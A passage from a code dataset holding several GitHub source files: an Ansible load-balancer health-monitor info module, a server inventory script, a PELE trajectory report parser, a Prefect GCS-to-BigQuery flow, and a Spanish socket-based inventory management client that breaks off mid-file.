module_kwargs = dict(\n supports_check_mode=True\n )\n\n def run(self):\n name_filter = self.params['name']\n delay_filter = self.params['delay']\n max_retries_filter = self.params['max_retries']\n admin_state_filter = self.params['admin_state_up']\n timeout_filter = self.params['monitor_timeout']\n type_filter = self.params['type']\n monitor_port_filter = self.params['monitor_port']\n expected_codes_filter = self.params['expected_codes']\n domain_name_filter = self.params['domain_name']\n http_method_filter = self.params['http_method']\n\n data = []\n args = {}\n if name_filter:\n args['name'] = name_filter\n if delay_filter:\n args['delay'] = delay_filter\n if max_retries_filter:\n args['max_retries'] = max_retries_filter\n if admin_state_filter:\n args['admin_state_up'] = admin_state_filter\n if timeout_filter:\n args['timeout'] = timeout_filter\n if type_filter:\n args['type'] = type_filter.upper()\n if monitor_port_filter:\n args['monitor_port'] = monitor_port_filter\n if expected_codes_filter:\n args['expected_codes'] = expected_codes_filter\n if domain_name_filter:\n args['domain_name'] = domain_name_filter\n if http_method_filter:\n args['http_method'] = http_method_filter.upper()\n\n if name_filter:\n raw = self.conn.network.find_health_monitor(name_or_id=name_filter)\n dt = raw.to_dict()\n dt.pop('location')\n data.append(dt)\n else:\n for raw in self.conn.network.health_monitors(**args):\n dt = raw.to_dict()\n dt.pop('location')\n data.append(dt)\n\n self.exit_json(\n changed=False,\n healthmonitors=data\n )\n\n\ndef main():\n module = LoadBalancerHealthMonitorInfoModule()\n module()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"opentelekomcloud/ansible-collection-cloud","sub_path":"plugins/modules/lb_healthmonitor_info.py","file_name":"lb_healthmonitor_info.py","file_ext":"py","file_size_in_byte":7282,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"67"} +{"seq_id":"40334297468","text":"#!/usr/local/bin/python3\n##############################################\n#\n# Name: Inventar_1_Initial.py\n#\n# Author: Peter Christen\n#\n# Version: 1.0\n# \n# Date: 10.11.2017\n#\n# Purpose: Server Inventar Script\n# Basis Script\n#\n##############################################\n\nimport platform,multiprocessing,os,sys,time\n\n###Variabeln\ntimestamp=time.time()\ninventar={}\n\n###Funktionen\ndef getdata():\n inventar[\"name\"]=platform.node()\n inventar[\"nrcpu\"]=multiprocessing.cpu_count()\n inventar[\"system\"]=platform.system()\n inventar[\"release\"]=platform.release()\n inventar[\"machine\"]=platform.machine()\n inventar[\"timestamp\"]=int(timestamp)\n\ndef showdata():\n print (\"Server Angaben\\n##############\")\n print (\"Name:\",inventar[\"name\"])\n print (\"Nr.CPU:\",inventar[\"nrcpu\"])\n print (\"System:\",inventar[\"system\"])\n print (\"Release:\",inventar[\"release\"])\n print (\"Machine:\",inventar[\"machine\"])\n print (\"Timestamp:\",inventar[\"timestamp\"])\n\n###Daten ausgeben\ngetdata()\nshowdata()\nsys.exit(0)\n","repo_name":"wunnox/python_advanced","sub_path":"Inventar_1_Initial.py","file_name":"Inventar_1_Initial.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"2818642868","text":"# -*- coding: utf-8 -*-\n\n# Global imports\nfrom __future__ import unicode_literals\nimport os\nimport argparse as ap\n\n# Local imports\nfrom PELEParseReports import *\n\n# Script information\n__author__ = \"Sergi Rodà\"\n__license__ = \"MIT\"\n__version__ = \"1.0.1\"\n__maintainer__ = \"Sergi Rodà\"\n__email__ = \"sergi.rodallordes@bsc.es\"\n\n# Functions\ndef parseArgs():\n \"\"\"\n Parse arguments from command-line\n\n RETURNS\n -------\n reports : string\n list of report files to look for data\n energy : float\n Cutoff of the binding energy\n sasa : float\n Cutoff the SASA parameter\n output_path : string\n output directory where the resulting best trajectories will be saved\n \"\"\"\n\n parser = ap.ArgumentParser(description='Script used to find the most interesting trajectories \\\n acoording to a numerical metric against the binding energy or SASA of report files from a PELE simulation')\n optional = parser._action_groups.pop()\n required = parser.add_argument_group('required arguments')\n required.add_argument(\"-i\", \"--input\", required=True, metavar=\"FILE\",\n type=str, nargs='*', help=\"path to report files\")\n optional.add_argument(\"-o\", \"--output\", metavar=\"PATH\", type=str,\n help=\"output path to save figure\", default=\"Important_trajectories\")\n optional.add_argument(\"-E\", \"--energy\", metavar=\"METRIC\", type=float,\n help=\"Cutoff of the binding energy\", default=-50.0)\n optional.add_argument(\"-S\", \"--sasa\", metavar=\"METRIC\", type=float,\n help=\"Cutoff of the SASA parameter\", default=0.3)\n optional.add_argument(\"-M\",\"--metric\",metavar=\"NUMBER\",type=int,\n help=\"Number of the column where the metric resides\", default=5)\n parser._action_groups.append(optional)\n args = parser.parse_args()\n\n reports = parseReports(args.input, parser)\n\n output_path = args.output\n energy,sasa,metric = args.energy,args.sasa,args.metric\n\n return reports, energy, sasa, output_path,metric\n\n\ndef Storebesttrajectories(reports,metric,energy=-50.0,sasa=0.3):\n \"\"\"\n It looks on the report files and finds the best trajectories (the minima).\n\n RETURNS\n -------\n Below50 : Dictionary of lists\n\t\t The best trajectories to the biggest cutoff.\n Below55 : Dictionary of lists\n\t\t The best trajectories to the intermediate cutoff.\n Below60 : Dictionary of lists\n\t\t The best trajectories to the smallest cutoff.\n \"\"\"\n\n Below50,Below55,Below60,Sasa03={},{},{},{}\n\n for report in reports:\n reportID=str(os.path.basename(report).split('_')[-1].split('.')[0])\n with open(report, 'r') as report_file:\n next(report_file)\n for i, line in enumerate(report_file):\n if float(line.split()[4])<=energy:\n if round(float(line.split()[metric]))%5<=2:\n Distance=(round(float(line.split()[metric]))-(round(float(line.split()[metric]))%5))\n else:\n Distance=(round(float(line.split()[metric]))+5-(round(float(line.split()[metric]))%5))\n if Distance not in Below50:\n Below50[Distance]=[]\n if reportID not in Below50[Distance]:\n Below50[Distance].append(reportID)\n if float(line.split()[4])<=(energy-5.0):\n if Distance not in Below55:\n Below55[Distance]=[]\n if reportID not in Below55[Distance]:\n Below55[Distance].append(reportID)\n if float(line.split()[4])<=(energy-10.0):\n if Distance not in Below60:\n Below60[Distance]=[]\n if reportID not in Below60[Distance]:\n Below60[Distance].append(reportID)\n if float(line.split()[len(line.split())-1])<=sasa:\n if round(float(line.split()[metric]))%5<=2:\n DistSASA=(round(float(line.split()[metric]))-(round(float(line.split()[metric]))%5))\n else:\n DistSASA=(round(float(line.split()[metric]))+5-(round(float(line.split()[metric]))%5))\n if DistSASA not in Sasa03:\n Sasa03[DistSASA]=[]\n if reportID not in Sasa03[DistSASA]:\n Sasa03[DistSASA].append(reportID)\n\n return Below50,Below55,Below60,Sasa03\n\n\ndef Reportbesttrajectories(Below50,Below55,Below60,Sasa03,energy=-50.0,sasa=0.3,output_path=\"Important_trajectories\"):\n \"\"\"\n It looks on the report files and finds the best trajectories (the minima).\n\n RETURNS\n -------\n output_path : Output file\n\t\t The report output file with the best trajectories.\n \"\"\"\n\n Report=open(output_path,\"wt\")\n Report.write(\"--- Below %s kcal/mol ---\\n\" %energy)\n\n for key,values in Below50.items():\n Report.write(\"%s Ang: \" %key + \", \".join(values)+\"\\n\")\n Report.write(\"--- Below %s kcal/mol ---\\n\" %(energy-5.0))\n for key,values in Below55.items():\n Report.write(\"%s Ang: \" %key + \", \".join(values)+\"\\n\")\n Report.write(\"--- Below %s kcal/mol ---\\n\" %(energy-10.0))\n for key,values in Below60.items():\n Report.write(\"%s Ang: \" %key + \", \".join(values)+\"\\n\")\n Report.write(\"--- SASA below %s ---\\n\" %sasa)\n for key,values in Sasa03.items():\n Report.write(\"%s Ang: \" %key + \", \".join(values)+\"\\n\")\n \n Report.close()\n\n\ndef main():\n \"\"\"\n Main function\n\n It is called when this script is the main program called by the interpreter\n \"\"\"\n\n # Parse command-line arguments\n reports, energy, sasa, output_path, metric = parseArgs()\n\n # Store the best trajectories\n Report_data_1,Report_data_2,Report_data_3,Report_data_4=Storebesttrajectories(reports,metric,energy,sasa)\n\n # Generate the report file with the best trajectories\n Reportbesttrajectories(Report_data_1,Report_data_2,Report_data_3,Report_data_4,energy,sasa,output_path)\n\n\nif __name__ == \"__main__\":\n \"\"\"Call the main function\"\"\"\n main()\n","repo_name":"SergiR1996/PELEAnalysis-Processing","sub_path":"PELEAnalysis-Processing/PELE_scripts/PELEBestTrajectories.py","file_name":"PELEBestTrajectories.py","file_ext":"py","file_size_in_byte":6254,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"19612883083","text":"from pathlib import Path\nimport pandas as pd\nfrom prefect import flow, task\nfrom prefect_gcp.cloud_storage import GcsBucket\nfrom prefect_gcp import GcpCredentials\n\n\n@task(retries=3)\ndef extract_from_gcs(year: int, month: int, label: str) -> Path:\n \"\"\"Download data from GCS\"\"\"\n concat = f\"{year}-{month:02}-28\"\n gcs_path = f\"data/{concat}-{label}.parquet\"\n gcs_block = GcsBucket.load(\"zoom-gas\")\n gcs_block.get_directory(from_path=gcs_path, local_path=f\"../data/\")\n return Path(f\"../data/{gcs_path}\")\n\n\n@task()\ndef read(path: Path) -> pd.DataFrame:\n \"\"\"read the data into pandas\"\"\"\n df = pd.read_parquet(path)\n return df\n\n\n@task()\ndef write_bq(df: pd.DataFrame, label: str) -> int:\n \"\"\"Write DataFrame to BiqQuery\"\"\"\n\n gcp_credentials_block = GcpCredentials.load(\"zoom-gcp-creds\")\n\n df.to_gbq(\n destination_table=f\"dezoomcamp.{label}\",\n project_id=\"thinking-prism-375117\",\n credentials=gcp_credentials_block.get_credentials_from_service_account(),\n chunksize=500_000,\n if_exists=\"append\",\n )\n return len(df)\n\n\n@flow()\ndef el_gcs_to_bq(year: int, month: int, label: str) -> None:\n \"\"\"Main ETL flow to load data into Big Query\"\"\"\n\n path = extract_from_gcs(year, month, label)\n df = read(path)\n row_count = write_bq(df, label)\n return row_count\n\n\n@flow(log_prints=True)\ndef el_parent_gcs_to_bq(\n months: list[int] = [4, 10], year: int = 2021, labels: list[str] = [\"branded_df\", \"food_df\"]\n):\n \"\"\"Main EL flow to load data into Big Query\"\"\"\n\n for month in months:\n for label in labels:\n el_gcs_to_bq(year, month, label)\n\n\n\nif __name__ == \"__main__\":\n el_parent_gcs_to_bq(months=[4, 10], year=2021, labels=[\"branded_df\", \"food_df\"])\n\n\n\n\n\n","repo_name":"danielyrigney/USDA-Data-Pipeline","sub_path":"orchestration/flows/gcs_to_bq.py","file_name":"gcs_to_bq.py","file_ext":"py","file_size_in_byte":1756,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"70385525015","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport socket\nimport threading\nimport os\nimport bcrypt\nimport hashlib\nimport time\nimport tabulate\nimport re\n\ndef sleep_thread():\n time.sleep(15)\n\ndef exit_thread():\n input(\"\\nPresione enter para salir...\")\n\nserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nserver_address = ('socket', 5000)\nserver.connect(server_address)\n\nserver.sendall(bytes('00005getsv','utf-8'))\nrecibido=server.recv(4096)\nprint(\"SISTEMA DE INVENTARIO\")\n\ndef fill(data):\n data = str(data)\n aux = str(len(data))\n while len(aux) < 5:\n aux = '0' + aux\n return aux\n\n\n\nwhile True:\n main_menu = False\n session_mail = ''\n userType = -1\n print(\"\"\"\n ==========INVENTARIO==========\n Seleccione una opción:\n 1. Registro\n 2. Iniciar sesión\n 0. Salir\n ==============================\n \"\"\")\n opcion = input(\"OPCION: \")\n if opcion == '1':\n os.system('cls' if os.name == 'nt' else 'clear')\n print(\"\"\"\n ==============================\n Registrando...\n ==============================\n \"\"\")\n email = input(\"Ingrese su correo: \")\n password = input(\"Ingrese su contraseña: \")\n nombre = input(\"Ingrese su nombre: \")\n\n hash_pwd = hashlib.sha256(password.encode('utf-8')).hexdigest()\n #print(hash_pwd)\n\n datos = \"registrar \"+email + \" \" + hash_pwd + \" \" + nombre\n aux = fill(len(datos+ 'users'))\n msg = aux + 'users' + datos\n #print(\"mensaje enviado: \"+msg)\n server.sendall(bytes(msg,'utf-8'))\n recibido=server.recv(4096)\n if recibido.decode('utf-8').find('users')!=-1:\n recibido = recibido[12:]\n #print(\"desde usuario: \"+recibido.decode('utf-8'))\n if recibido.decode('utf-8') == '1':\n print(\"Usuario registrado satisfactoriamente\")\n continue\n else:\n print(\"Error al registrar usuario\")\n continue\n \n elif opcion == '2':\n os.system('cls' if os.name == 'nt' else 'clear')\n print(\"\"\"\n ==============================\n Iniciando sesión...\n ==============================\n \"\"\")\n email = input(\"Ingrese su correo: \")\n password = input(\"Ingrese su contraseña: \")\n\n hash_pwd = hashlib.sha256(password.encode('utf-8')).hexdigest()\n\n datos = email + \" \" + hash_pwd\n aux = fill(len(datos+ 'login'))\n msg = aux + 'login' + datos\n print(\"mensaje enviado: \"+msg)\n\n server.sendall(bytes(msg,'utf-8'))\n while True:\n recibido=server.recv(4096)\n if recibido.decode('utf-8').find('login')!=-1:\n print(\"recibido cliente: \"+recibido.decode('utf-8'))\n recibido = recibido[12:].decode()\n if recibido == '1':\n print(\"Sesión iniciada correctamente\")\n session_mail = email\n main_menu = True\n datos = \"tipo \"+session_mail\n aux = fill(len(datos+ 'dbget'))\n msg = aux + 'dbget' + datos\n #print(\"mensaje enviado: \"+msg)\n server.sendall(bytes(msg,'utf-8'))\n recibido=server.recv(4096)\n if recibido.decode('utf-8').find('dbget')!=-1:\n recibido = recibido[12:].decode()\n print(\"desde cliente: \"+recibido)\n if recibido == '0':\n userType = 0\n print(\"Usuario gestor\")\n time.sleep(2)\n break\n elif recibido == '2':\n userType = 2\n print(\"Usuario trabajador\")\n time.sleep(2)\n break\n elif recibido == '1':\n userType = 1\n print(\"Usuario administrador\")\n time.sleep(2)\n break\n else:\n print(\"USER-Error\")\n time.sleep(2)\n continue\n break\n elif recibido == '0':\n print(\"Usuario o contraseña incorrectos\")\n break\n else:\n print(\"Error\")\n continue\n\n while main_menu:\n os.system('cls' if os.name == 'nt' else 'clear')\n if userType == 2:\n print(\"\"\"\n ==========INVENTARIO==========\n Seleccione una opción:\n 1. Inventario\n 2. Despachos\n 0. Salir\n ==============================\n \"\"\")\n else: \n print(\"\"\"\n ==========INVENTARIO==========\n Seleccione una opción:\n 1. Inventario\n 2. Despachos\n 3. Usuarios\n 4. Otros\n 0. Salir\n ==============================\n \"\"\")\n opcion = input(\"OPCION: \")\n if opcion == '1':\n os.system('cls' if os.name == 'nt' else 'clear')\n if userType == 2:\n print(\"\"\"\n ==========INVENTARIO==========\n Seleccione una opción:\n 2. Modificar producto\n 4. Listar productos\n 0. Regresar\n ==============================\n \"\"\")\n else: \n print(\"\"\"\n ==========INVENTARIO==========\n Seleccione una opción:\n 1. Agregar producto\n 2. Modificar producto\n 3. Eliminar producto\n 4. Listar productos\n 0. Regresar\n ==============================\n \"\"\")\n opcion = input(\"OPCION: \")\n if opcion == '1' and userType == 2:\n print(\"No tiene permisos para realizar esta acción\")\n time.sleep(2)\n continue\n if opcion == '1':\n os.system('cls' if os.name == 'nt' else 'clear')\n print(\"\"\"\n ==========INVENTARIO==========\n Agregando producto...\n ==============================\n \"\"\")\n idProd = input(\"Ingrese el id del producto: \")\n nombre = input(\"Ingrese el nombre del producto: \")\n precio = input(\"Ingrese el precio del producto: \")\n cantidad = input(\"Ingrese la cantidad del producto: \")\n descripcion = input(\"Ingrese la descripcion del producto: \")\n datos = \"registrar \"+session_mail + \" \" + idProd + \" \" + nombre + \" \" + cantidad + \" \" + precio + \" \" + descripcion\n aux = fill(len(datos+ 'prods'))\n msg = aux + 'prods' + datos\n print(\"mensaje enviado: \"+msg)\n server.sendall(bytes(msg,'utf-8'))\n recibido=server.recv(4096)\n if recibido.decode('utf-8').find('prods')!=-1:\n recibido = recibido[12:]\n #print(\"desde usuario: \"+recibido.decode('utf-8'))\n if recibido.decode('utf-8') == '1':\n print(\"Producto registrado satisfactoriamente\")\n continue\n else:\n print(\"Error al registrar producto\")\n time.sleep(3)\n continue\n elif opcion == '2':\n os.system('cls' if os.name == 'nt' else 'clear')\n print(\"\"\"\n ==========INVENTARIO==========\n Modificando producto...\n ==============================\n \"\"\")\n idProd = input(\"Ingrese el id del producto: \")\n nombre = input(\"Ingrese el nombre del producto: (dejar en blanco para no modificar) \")\n precio = input(\"Ingrese el precio del producto: (dejar en blanco para no modificar) \")\n cantidad = input(\"Ingrese la cantidad del producto: (dejar en blanco para no modificar)\")\n descripcion = input(\"Ingrese la descripcion del producto: (dejar en blanco para no modificar) \")\n if nombre == '' and precio == '' and cantidad == '' and descripcion == '':\n print(\"No se modificó el producto\")\n continue\n if nombre == '':\n nombre = '/'\n if precio == '':\n precio = '/'\n if cantidad == '':\n cantidad = '/'\n if descripcion == '':\n descripcion = '/'\n datos = \"actualizar \"+session_mail+ \" \"+ str(idProd) + \" \" + str(nombre) + \" \" + str(precio) + \" \" + str(cantidad) + \" \" + descripcion + \" \" + str(userType)\n aux = fill(len(datos+ 'prods'))\n msg = aux + 'prods' + datos\n print(\"mensaje enviado: \"+msg)\n server.sendall(bytes(msg,'utf-8'))\n recibido=server.recv(4096)\n if recibido.decode('utf-8').find('prods')!=-1:\n recibido = recibido[12:]\n if recibido.decode('utf-8') == '1':\n print(\"Producto modificado satisfactoriamente\")\n time.sleep(3)\n continue\n else:\n print(\"Error al modificar producto\")\n time.sleep(3)\n continue\n elif opcion == '3' and userType == 2:\n print(\"No tiene permisos para realizar esta acción\")\n time.sleep(2)\n continue\n elif opcion == '3':\n os.system('cls' if os.name == 'nt' else 'clear')\n print(\"\"\"\n ==========INVENTARIO==========\n Eliminando producto...\n ==============================\n \"\"\")\n idProd = input(\"Ingrese el id del producto: \")\n permanente = input(\"¿Desea eliminar el producto permanentemente? (s/n): \")\n datos = \"eliminar \"+session_mail+ \" \"+permanente+ \" \"+ idProd\n aux = fill(len(datos+ 'prods'))\n msg = aux + 'prods' + datos\n print(\"mensaje enviado: \"+msg)\n server.sendall(bytes(msg,'utf-8'))\n recibido=server.recv(4096)\n if recibido.decode('utf-8').find('prods')!=-1:\n recibido = recibido[12:]\n if recibido.decode('utf-8') == '1':\n print(\"Operación efectuada satisfactoriamente\")\n time.sleep(3)\n continue\n else:\n print(\"Error al eliminar producto\")\n time.sleep(3)\n continue\n elif opcion == '4':\n os.system('cls' if os.name == 'nt' else 'clear')\n print(\"\"\"\n ==========INVENTARIO==========\n Listando productos...\n ==============================\n \"\"\")\n prodID = input(\"Ingrese el id del producto (presione enter para mostrar todos): \")\n if prodID == '':\n datos = \"leer \"+session_mail + \" \" + str(userType)\n aux = fill(len(datos+ 'prods'))\n msg = aux + 'prods' + datos\n else:\n datos = \"leer \"+session_mail + \" \" + str(prodID) + \" \" + str(userType)\n aux = fill(len(datos+ 'prods'))\n msg = aux + 'prods' + datos\n\n #print(\"mensaje enviado: \"+msg)\n server.sendall(bytes(msg,'utf-8'))\n recibido=server.recv(4096)\n if recibido.decode('utf-8').find('leerprod')!=-1:\n try:\n recibido = recibido[12:]\n recibido = recibido.decode('utf-8').split(' ')\n productos = recibido[1]\n productos = productos.replace('/', ' ')\n productos = productos.split(' ')\n data = []\n column_alignments = [\"right\", \"left\", \"right\", \"left\", \"center\", \"center\", \"center\", \"right\"]\n for i in range(len(productos)):\n productos[i] = productos[i].split('-')\n data.append(productos[i])\n\n print(tabulate.tabulate(data, headers=['ID', 'Nombre', 'Precio', 'Desc.', 'Cantidad'], tablefmt='orgtbl', stralign=column_alignments))\n input(\"\\nPresione enter para continuar...\")\n continue\n except:\n print(\"Error al listar productos\")\n time.sleep(3)\n continue\n elif opcion == '0':\n os.system('cls' if os.name == 'nt' else 'clear')\n print(\"\"\"\n ==========INVENTARIO==========\n Regresando...\n ==============================\n \"\"\")\n continue\n\n elif opcion == '2':\n os.system('cls' if os.name == 'nt' else 'clear')\n print(\"\"\"\n ==========DESPACHOS==========\n Seleccione una opción:\n 1. Agregar despacho\n 2. Modificar despacho\n 3. Eliminar despacho\n 4. Listar despachos\n 0. Regresar\n ==============================\n \"\"\")\n opcion = input(\"OPCION: \")\n if opcion == '1':\n os.system('cls' if os.name == 'nt' else 'clear')\n print(\"\"\"\n ==========DESPACHOS==========\n Agregando despacho...\n ==============================\n \"\"\")\n mail = input(\"Ingrese el mail de responsable de despacho: \")\n direccion = input(\"Ingrese la direccion de despacho: \")\n comprador = input(\"Ingrese el nombre de persona que recibirá: \")\n totalProd = input(\"Ingrese el total de productos diferentes: \")\n prods = []\n qtt = []\n for i in range(int(totalProd)):\n print(\"====================================\")\n idProd = input(\"Ingrese el id del producto: \")\n prods.append(idProd)\n cantidad = input(\"Ingrese la cantidad del producto: \")\n qtt.append(cantidad)\n prods = '-'.join(prods)\n qtt = '-'.join(qtt)\n datos = \"registrar \"+ session_mail+ \" \" +mail + \" \" +direccion+ \" \"+comprador + \" \" +str(prods)+ \" \" +str(qtt)\n aux = fill(len(datos+ 'despa'))\n msg = aux + 'despa' + datos\n print(\"mensaje enviado: \"+msg)\n server.sendall(bytes(msg,'utf-8'))\n recibido=server.recv(4096)\n if recibido.decode('utf-8').find('despa')!=-1:\n recibido = recibido[12:]\n if recibido.decode('utf-8') == '1':\n print(\"Despacho generado satisfactoriamente\")\n time.sleep(3)\n continue\n else:\n print(\"Error al agregar despacho\")\n time.sleep(3)\n continue\n continue\n elif opcion == '2':\n os.system('cls' if os.name == 'nt' else 'clear')\n print(\"\"\"\n ==========DESPACHOS==========\n Modificando despacho...\n ==============================\n \"\"\")\n idDesp = input(\"Ingrese el id del despacho: \")\n direccion = input(\"Ingrese la direccion de despacho: (presione enter para no modificar) \")\n comprador = input(\"Ingrese el nombre de persona que recibirá: (presione enter para no modificar) \")\n responsable = input(\"Ingrese el mail de responsable de despacho: (presione enter para no modificar) \")\n totalProd = input(\"Ingrese el total de productos diferentes: (presione enter para no modificar) \")\n\n if totalProd == '' and direccion == '' and comprador == '' and responsable == '':\n print(\"No se modificó nada\")\n time.sleep(3)\n continue\n\n prods = '/'\n qtt = '/'\n if totalProd != '':\n prods = []\n qtt = []\n for i in range(int(totalProd)):\n idProd = input(\"Ingrese el id del producto: \")\n cantidad = input(\"Ingrese la cantidad del producto: \")\n prods.append(idProd)\n qtt.append(cantidad)\n prods = '-'.join(prods)\n qtt = '-'.join(qtt)\n \n if direccion == '':\n direccion = '/'\n if comprador == '':\n comprador = '/'\n if responsable == '':\n responsable = '/'\n\n \n datos =\"actualizar\" + \" \" + session_mail + \" \" + idDesp + \" \" + direccion + \" \" + comprador + \" \" + responsable + \" \" + str(prods) + \" \" + str(qtt)\n aux = fill(len(datos+ 'despa'))\n msg = aux + 'despa' + datos\n print(\"mensaje enviado: \"+msg)\n server.sendall(bytes(msg,'utf-8'))\n recibido=server.recv(4096)\n if recibido.decode('utf-8').find('despa')!=-1:\n recibido = recibido[12:]\n if recibido.decode('utf-8') == '1':\n print(\"Despacho modificado satisfactoriamente\")\n time.sleep(3)\n continue\n else:\n print(\"Error al modificar despacho\")\n time.sleep(3)\n continue\n continue\n elif opcion == '3':\n os.system('cls' if os.name == 'nt' else 'clear')\n print(\"\"\"\n ==========DESPACHOS==========\n Eliminando despacho...\n ==============================\n \"\"\")\n idDesp = input(\"Ingrese el id del despacho: \")\n permanente = input(\"¿Desea eliminar permanentemente el despacho? (s/n): \")\n datos = \"eliminar \"+ session_mail + \" \" + permanente +\" \"+idDesp\n aux = fill(len(datos+ 'despa'))\n msg = aux + 'despa' + datos\n #print(\"mensaje enviado: \"+msg)\n server.sendall(bytes(msg,'utf-8'))\n recibido=server.recv(4096)\n if recibido.decode('utf-8').find('despa')!=-1:\n recibido = recibido[12:]\n if recibido.decode('utf-8') == '1':\n print(\"Despacho eliminado satisfactoriamente\")\n time.sleep(3)\n continue\n else:\n print(\"Error al eliminar despacho\")\n time.sleep(3)\n continue\n continue\n elif opcion == '4':\n os.system('cls' if os.name == 'nt' else 'clear')\n print(\"\"\"\n ==========DESPACHOS==========\n Listando despachos...\n ==============================\n \"\"\")\n despID = input(\"Ingrese el id del despacho: (enter para mostrar todos) \")\n if despID == '':\n despID = '0'\n datos = \"leer \"+session_mail + \" \" + despID\n aux = fill(len(datos+ 'despa'))\n msg = aux + 'despa' + datos\n #print(\"mensaje enviado: \"+msg)\n server.sendall(bytes(msg,'utf-8'))\n recibido=server.recv(4096)\n if recibido.decode('utf-8').find('despa')!=-1:\n recibido = recibido[12:]\n if recibido.decode('utf-8') == '0':\n print(\"No hay deespachos registrados\")\n time.sleep(3)\n continue\n else:\n recibido = recibido.decode('utf-8').split(' ')\n data = recibido[1]\n data = data.replace('|','')\n data_rows = re.split(\"/\", data)\n\n data = []\n for row in data_rows:\n data.append(row.split(\"-\"))\n \n column_alignments = [\"right\", \"left\", \"right\", \"left\", \"center\", \"center\", \"center\", \"right\"]\n\n print(tabulate.tabulate(data, headers=['ID','Inventario','Productos','Cantidad','Direccion','Responsable','Comprador','Entregado'], tablefmt='orgtbl', stralign=column_alignments))\n\n input(\"\\nPresione enter para continuar...\")\n continue\n continue\n\n elif opcion == '0':\n os.system('cls' if os.name == 'nt' else 'clear')\n print(\"\"\"\n ==========DESPACHOS==========\n Regresando...\n ==============================\n \"\"\")\n continue\n elif opcion == '3' and userType == 2:\n print(\"No tiene permisos para acceder a esta sección\")\n time.sleep(3)\n continue\n elif opcion == '3':\n #USUARIOS\n os.system('cls' if os.name == 'nt' else 'clear')\n print(\"\"\"\n ==========USUARIOS==========\n Seleccione una opción:\n 1. Agregar usuario\n 2. Modificar usuario\n 3. Eliminar usuario\n 4. Listar usuarios\n 0. Regresar\n ==============================\n \"\"\")\n opcion = input(\"OPCION: \")\n if opcion == '1':\n os.system('cls' if os.name == 'nt' else 'clear')\n print(\"\"\"\n ==========USUARIOS==========\n Agregando trabajador...\n ==============================\n \"\"\")\n nombre = input(\"Ingrese el nombre del usuario: \")\n correo = input(\"Ingrese el correo del usuario: \")\n contra = input(\"Ingrese la contraseña del usuario: \")\n\n hash_pwd = hashlib.sha256(contra.encode('utf-8')).hexdigest()\n\n datos = \"registrartrabajador \"+session_mail+\" \"+nombre + \" \" + correo + \" \" + hash_pwd\n aux = fill(len(datos+ 'users'))\n msg = aux + 'users' + datos\n print(\"mensaje enviado: \"+msg)\n server.sendall(bytes(msg,'utf-8'))\n recibido=server.recv(4096)\n if recibido.decode('utf-8').find('users')!=-1:\n recibido = recibido[12:]\n print(\"DESDE AGREGAR TRABAJADOR: \"+recibido.decode('utf-8'))\n if recibido.decode('utf-8') == '1':\n print(\"Trabajador agregado satisfactoriamente\")\n time.sleep(3)\n continue\n else:\n print(\"Error al agregar trabajador\")\n time.sleep(3)\n continue\n continue\n elif opcion == '2':\n os.system('cls' if os.name == 'nt' else 'clear')\n print(\"\"\"\n ==========USUARIOS==========\n Modificando usuario...\n ==============================\n \"\"\")\n correo = input(\"Ingrese el correo del usuario a modificar: \")\n newCorreo = input(\"Ingrese el nuevo correo del usuario: (enter para no modificar) \")\n nombre = input(\"Ingrese el nuevo nombre del usuario: (enter para no modificar) \")\n contra = input(\"Ingrese la nueva contraseña del usuario: (enter para no modificar) \")\n \n if nombre == '' and contra == '' and newCorreo == '':\n print(\"No se modificó ningún dato\")\n time.sleep(3)\n continue\n\n if nombre == '':\n nombre = '/'\n if contra == '':\n contra = '/'\n if newCorreo == '':\n newCorreo = '/'\n\n if contra != '/':\n hash_pwd = hashlib.sha256(contra.encode('utf-8')).hexdigest()\n contra = hash_pwd\n\n datos = \"actualizar \"+session_mail+\" \"+correo+ \" \" +newCorreo + \" \" + nombre + \" \" + contra\n\n aux = fill(len(datos+ 'users'))\n msg = aux + 'users' + datos\n print(\"mensaje enviado: \"+msg)\n server.sendall(bytes(msg,'utf-8'))\n recibido=server.recv(4096)\n if recibido.decode('utf-8').find('users')!=-1:\n recibido = recibido[12:]\n #print(\"DESDE MODIFICAR TRABAJADOR: \"+recibido.decode('utf-8'))\n if recibido.decode('utf-8') == '1':\n print(\"Trabajador modificado satisfactoriamente\")\n time.sleep(3)\n continue\n else:\n print(\"Error al modificar trabajador\")\n time.sleep(3)\n continue\n continue\n elif opcion == '3':\n os.system('cls' if os.name == 'nt' else 'clear')\n print(\"\"\"\n ==========USUARIOS==========\n Eliminando usuario...\n ==============================\n \"\"\")\n correo = input(\"Ingrese el correo del usuario a eliminar: \")\n data = \"eliminar \"+session_mail+\" \"+correo\n aux = fill(len(data+ 'users'))\n msg = aux + 'users' + data\n #print(\"mensaje enviado: \"+msg)\n server.sendall(bytes(msg,'utf-8'))\n recibido=server.recv(4096)\n if recibido.decode('utf-8').find('users')!=-1:\n recibido = recibido[12:]\n #print(\"DESDE ELIMINAR TRABAJADOR: \"+recibido.decode('utf-8'))\n if recibido.decode('utf-8') == '1':\n print(\"Trabajador eliminado satisfactoriamente\")\n time.sleep(3)\n continue\n else:\n print(\"Error al eliminar trabajador\")\n time.sleep(3)\n continue\n continue\n elif opcion == '4':\n os.system('cls' if os.name == 'nt' else 'clear')\n print(\"\"\"\n ==========USUARIOS==========\n Listando usuarios...\n ==============================\n \"\"\")\n data = \"leer \"+session_mail\n aux = fill(len(data+ 'users'))\n msg = aux + 'users' + data\n #print(\"mensaje enviado: \"+msg)\n server.sendall(bytes(msg,'utf-8'))\n recibido=server.recv(4096)\n if recibido.decode('utf-8').find('users')!=-1:\n recibido = recibido[12:]\n if recibido.decode('utf-8') == '0':\n print(\"No hay trabajadores registrados\")\n time.sleep(3)\n continue\n else:\n recibido = recibido.decode('utf-8').split(' ')\n print(recibido)\n data = recibido[1]\n\n data_rows = re.split(\"/\", data)\n data_rows = [re.split(\"-\", row) for row in data_rows]\n\n print(tabulate.tabulate(data_rows, headers=['Correo', 'Nombre', 'Inventario'], tablefmt='orgtbl'))\n input(\"\\nPresione enter para 